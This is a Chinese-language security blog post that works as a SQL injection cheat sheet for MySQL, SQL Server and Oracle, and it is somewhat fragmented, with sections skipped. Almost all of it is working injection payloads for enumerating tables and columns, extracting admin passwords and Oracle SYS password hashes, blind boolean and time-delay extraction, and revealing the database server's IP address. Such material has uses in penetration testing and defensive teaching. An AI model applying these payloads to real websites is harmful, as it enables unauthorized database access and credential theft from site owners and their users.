标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-2769] 作者: 闲云野鸡 发表于: [2020-10-23]
本文共 [434] 位读者顶过
SQL 注入分类方式:[出自:jiwo.org]
0x01 MysqlMysql划分:权限 root 普通用户 版本 mysql>5.0 mysql<5.01.1 root权限 load_file和into和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径
判断是否具有读写权限
and (select count(*) from mysql.user)>0# and (select count(file_priv) from mysql.user)>#A、Load_file() 该函数用来读取源文件的函数,只能读取绝对路径的网页文件
注意:路径符号”\”错误 “\”正确 “/”正确,转换成十六进制,不用“”
2.2 SQLServer 报错注入 1.获取表名?id=4' and 1>(select top 1 TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in ('admin') )-- 2.获取列名 ?id=4' and 1>(select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin' and column_name not in ('id')) -- 3.获取数据 ?id=4' and 1=(select top 1 pwd from admin) -- 4.获取数据库信息 ?id=1' and 1=(select @@version)-- //SQL Server 2000 ?id=1' and 1=(select db_name()) //当前使用的数据库 ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and len(name)=7)=1 -- //获取第一个表的长度7 ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))=116)=1 -- //截取第一个表第一位的ascii码 ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))>115)=1 --//猜第二个表的第一位ASCII值 得到表名,进一步猜解字段 2、猜字段 id=1 and (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users')) and ascii(substring(name,1,1))=117)=1 //获取users表第一个字段的ASCII值 id=1 and (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users') ) and name not in ('upass') and ascii(substring(name,1,1))>90)=1 -- //获取user表第二个字段的第一位ASCII值 3、猜数据 id=1 and (ascii(substring((select top 1 uname from users),1,1)))=33 -- //获取users表中uname字段的第一位ASCII值
3.1 联合查询 Union select null,null,null 从第一个null开始加’null’,得到显示位Union select null,null,null from dual 返回正确,存在dual表 Union Select tablespace_name from user_tablespaces //查库 Union Select table_name from user_tables where rownum = 1 and table_name<>’news’ //查表 Union Select column_name from user_tab_columns where table_name=’users’ //查列 ?id=1 order by 1-- //获取字段数 and+1=1+union+all+select+(SELECT banner FROM v$version where rownum=1)+from+dual--//获取数据库版本 and+1=1+union+all+select+(select user from dual where rownum=1)+from+dual-- //获取当前连接数据库的用户名 union+all+select+(select password from sys.user$ where rownum=1 and name='SYS')+from+dual-- -- //获取用户SYS密文密码 union+all+select+(SELECT name FROM v$database)+from+dual-- //获取库名 and+1=1+union+all+select+(select table_name from user_tables where rownum=1)+from+dual--//获取第一个表名 //判断是否是oracle ?id=1 and exists(select * from dual)-- //获取库名 ?id=1 and 1=utl_inaddr.get_host_address((SELECT name FROM v$database))—- //获取数据库服务器所在ip ?id=1 and 1=ctxsys.drithsx.sn(1,(select UTL_INADDR.get_host_address from dual where rownum=1))-- ?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v$version where rownum=1),'a','b')-- ?id=1 or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where rownum=1),'a','b')-- ?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null -- ?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))-- 3.3 盲注 基于布尔类型的盲注: ?id=7782' and length((SELECT name FROM v$database))=4-- 获取数据库名长度?id=7782' and ascii(substr((SELECT name FROM v$database),1,1))=79-- 获取数据库名第一位为O ?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN 1 ELSE 2 END)-- ?id=7782' AND 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)--
|